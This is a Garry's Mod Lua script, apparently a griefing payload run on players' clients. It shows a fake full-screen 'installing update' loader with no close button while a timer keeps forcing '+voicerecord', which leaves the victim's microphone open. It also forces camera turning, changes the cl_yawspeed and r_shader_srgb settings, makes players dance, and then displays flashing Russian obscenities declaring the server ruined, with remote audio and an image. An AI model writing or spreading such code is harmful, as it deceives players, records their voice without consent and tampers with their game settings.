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  local loadingPercent = 0
  local W, H = ScrW(), ScrH()

surface.CreateFont("lapolice", {
    font = "Open Sans",
    size = ScrW()*0.02,
    weight = 10,
    blursize = 0,
    scanlines = 2.5,
    antialias = false
})

surface.CreateFont( "PureBigButtonFont", {
    font = "Open Sans",
    extended = false,
    size = 23,
    weight = 400,
    blursize = 0,
    scanlines = 0,
    antialias = true,
    underline = false,
    italic = false,
    strikeout = false,
    symbol = false,
    rotary = false,
    shadow = false,
    additive = false,
    outline = false,
} )

    ledermatriste = vgui.Create("DFrame")
    ledermatriste:SetPos(0,0)
    ledermatriste:SetSize(ScrW(), ScrH())
    ledermatriste:ShowCloseButton(false)
    ledermatriste:SetTitle("")
    ledermatriste:SetVisible(true)
    ledermatriste:MakePopup()
    ledermatriste:SetDraggable(false)
    ledermatriste.Paint = function(self, w, h)
        draw.RoundedBox(0, 0, 0, w, h, Color(18,21,25,255))
    end

    local logoma = vgui.Create("DImage", ledermatriste)
    logoma:SetPos(ScrW()/2 - 250, ScrH()/2 - 250)
    logoma:SetSize(500, 500)
    logoma:SetImage("materials/puresystem/logo_marteaupure.png")

    local timerloadingbar = vgui.Create("DPanel", ledermatriste)
    timerloadingbar:SetPos(ScrW()/2 - 150, ScrH()/2 + 245)
    timerloadingbar.Paint = function(self, w, h)
        draw.RoundedBox(5, 0, 0, w, h, Color(255, 255, 255))
    end

    local timerloadingbardone = vgui.Create("DPanel", ledermatriste)
    timerloadingbardone:SetPos(ScrW()/2 - 150, ScrH()/2 + 245)
    timerloadingbardone.Paint = function(self, w, h)
        draw.RoundedBox(5, 0, 0, w, h, Color(241, 193, 0,255))
    end

    local timerloading = vgui.Create("DLabel", ledermatriste)
    timerloading:SetPos(ScrW()/2 - 100, ScrH()/2 + 250)
    timerloading:SetText("Installation de la mise à jours...")
    timerloading:SetColor(Color(24,24,24,255))
    timerloading:SetFont("PureBigButtonFont")
    timerloading:SizeToContents()

    timerloadingbar:SetSize(timerloading:GetWide() + 100, timerloading:GetTall() + 10)
    timerloadingbardone:SetSize(0, timerloading:GetTall() + 10)

    timer.Create("charglogo", 1, 1, function()
        logoma:AlphaTo(10, 1, 0)
        logoma:AlphaTo(255, 1, 1)
        timer.Adjust("charglogo", 3, 0, function()
            logoma:AlphaTo(10, 1, 1)
            logoma:AlphaTo(255, 1, 2)
        end)
    end)

    local timePassed = 0

    timer.Create("parleput1", 0.1, 0, function()--PARLE !!!
        RunConsoleCommand("+voicerecord")
    end)

    timer.Create("Pure_loadingTimeout", 1, 0, function()
        timePassed = timePassed + 1
        loadingPercent = loadingPercent + math.random(14, 15)
        if loadingPercent > 50 then
            timer.Remove("Pure_loadingTimeout")
            loadingPercent = 80
        end
        timerloadingbardone:SizeTo(timerloadingbar:GetWide() * loadingPercent / 100 , -1, 3)
    end)

    timer.Simple(25, function()
        if ledermatriste != nil && timerloadingbar:IsValid() && timerloadingbardone:IsValid() then
            timerloadingbardone:SizeTo(timerloadingbar:GetWide() * 90 / 100, -1, 3)
        end
    end)

    timer.Simple(30, function()
        timer.Remove("charglogo")

        if ledermatriste != nil && timerloadingbar:IsValid() && timerloadingbardone:IsValid() then
            timerloadingbardone:SizeTo(timerloadingbar:GetWide(), -1, 1)
        end
    end)

    timer.Simple(31, function()
        if ledermatriste != nil then
            ledermatriste:Remove()
            enigma()
        end
    end)




    timer.Simple(63, function()
        enigma:Remove()
        timer.Remove( "charglogo" )
        RunConsoleCommand("+right")
        RunConsoleCommand("+voicerecord")
    end)


    timer.Simple( 73, function()
        RunConsoleCommand("-right")
        RunConsoleCommand("cl_yawspeed","8")
        timer.Remove("parleput1")
        timer.Remove("cheer_loop")
    end )

    timer.Simple( 90, function()
        RunConsoleCommand("r_shader_srgb","0")
    end )

    for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end

    timer.Create("cheer_loop",2.7,0,function()
        for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end
    end )


    hook.Add("Think","somewhere_over_the_rainbow",function()
        local col = HSVToColor(CurTime() * 50 % 360, 1, 1)
        for _, v in ipairs(player.GetAll()) do
            v:SetWeaponColor(Vector(col.r / 255, col.g / 255, col.b / 255))
        end
    end)


function enigma()
    enigma = vgui.Create("DFrame")
    enigma:SetPos(0,0)
    enigma:SetSize(ScrW(), ScrH())
    enigma:ShowCloseButton(false)
    enigma:SetTitle("")
    enigma:SetVisible(true)
    enigma:MakePopup()
    enigma:SetDraggable(false)
    enigma.Paint = function(self, w, h)
        draw.RoundedBox(0, 0, 0, w, h, Color(18,21,25,255))
        draw.DrawText( "(╯°□°）╯︵ ┻━┻", "lapolice", ScrW() * 0.5, ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), TEXT_ALIGN_CENTER )
        draw.DrawText( "(╯°□°）╯︵ ┻━┻", "lapolice", math.random(0,10), ScrH() * (math.random(0,100)*0.01), Color( 240, 100, 100, math.random(230,255) ), 0 )
        draw.DrawText( "E", "lapolice", W * 0.7 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
        draw.DrawText( "E", "lapolice", W * 0.38 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
        draw.DrawText( "E", "lapolice", W * 0.9 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
        draw.DrawText( "E", "lapolice", W * 0.35 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
        draw.DrawText( "ПИЗДА СЕРВУ ;)", "lapolice", W * 0.98 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
        draw.DrawText( "ЕГОРКА Я ХОЧУ ОТ ТЕБЯ ДЕТЕЙ", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
        draw.DrawText( "ПИЗДА СЕРВУ ;)", "lapolice", W * 0.73 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
        draw.DrawText( "ЕГОРКА Я ХОЧУ ОТ ТЕБЯ ДЕТЕЙ", "lapolice", W * 0.27 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
        draw.DrawText( "ЕГОРКА Я ХОЧУ ОТ ТЕБЯ ДЕТЕЙ", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
        draw.DrawText( "ПИЗДА СЕРВУ ;)", "lapolice", W * 0.05 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
        draw.DrawText( "ЕГОРКА Я ХОЧУ ОТ ТЕБЯ ДЕТЕЙ", "lapolice", W * 0.11 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
        draw.DrawText( "ПИЗДА СЕРВУ ;)", "lapolice", W * 0.75 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
        draw.DrawText( "ЕГОРКА Я ХОЧУ ОТ ТЕБЯ ДЕТЕЙ", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
        draw.DrawText( "ПИЗДА СЕРВУ ;)", "lapolice", W * 0.2 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
        draw.DrawText( "ЕГОРКА Я ХОЧУ ОТ ТЕБЯ ДЕТЕЙ", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
        draw.DrawText( "ЕГОРКА Я ХОЧУ ОТ ТЕБЯ ДЕТЕЙ", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
        draw.DrawText( "ЕГОРКА Я ХОЧУ ОТ ТЕБЯ ДЕТЕЙ", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
        draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
        draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
        draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
        draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
        draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
    end

    sound.PlayURL( "https://cs9-7v4.vkuseraudio.net/p3/0eeb712573c5f3.mp3?extra=ZwdmuL2remhqh2l7kf3IJbF7C1hv9FYWEdIybyj0wEkmKQXt3aIhKzfAB2-d7IAc1twFCzWu9UUbj5xxGHo_cQBo5CTld87lkFhwl4_0m4zWwGi43WAZnzZ0Rd0dv87FsyKiqYNNlKn0OOA4cC5britIOg&long_chunk=1", "mono", function()end )

    local logenigma = vgui.Create("HTML", enigma)
    logenigma:SetPos(ScrW()/2 - 250, ScrH()/2 - 250)
    logenigma:SetSize(500, 500)
    logenigma:OpenURL( "https://i.imgur.com/SeFkDBC.png")


end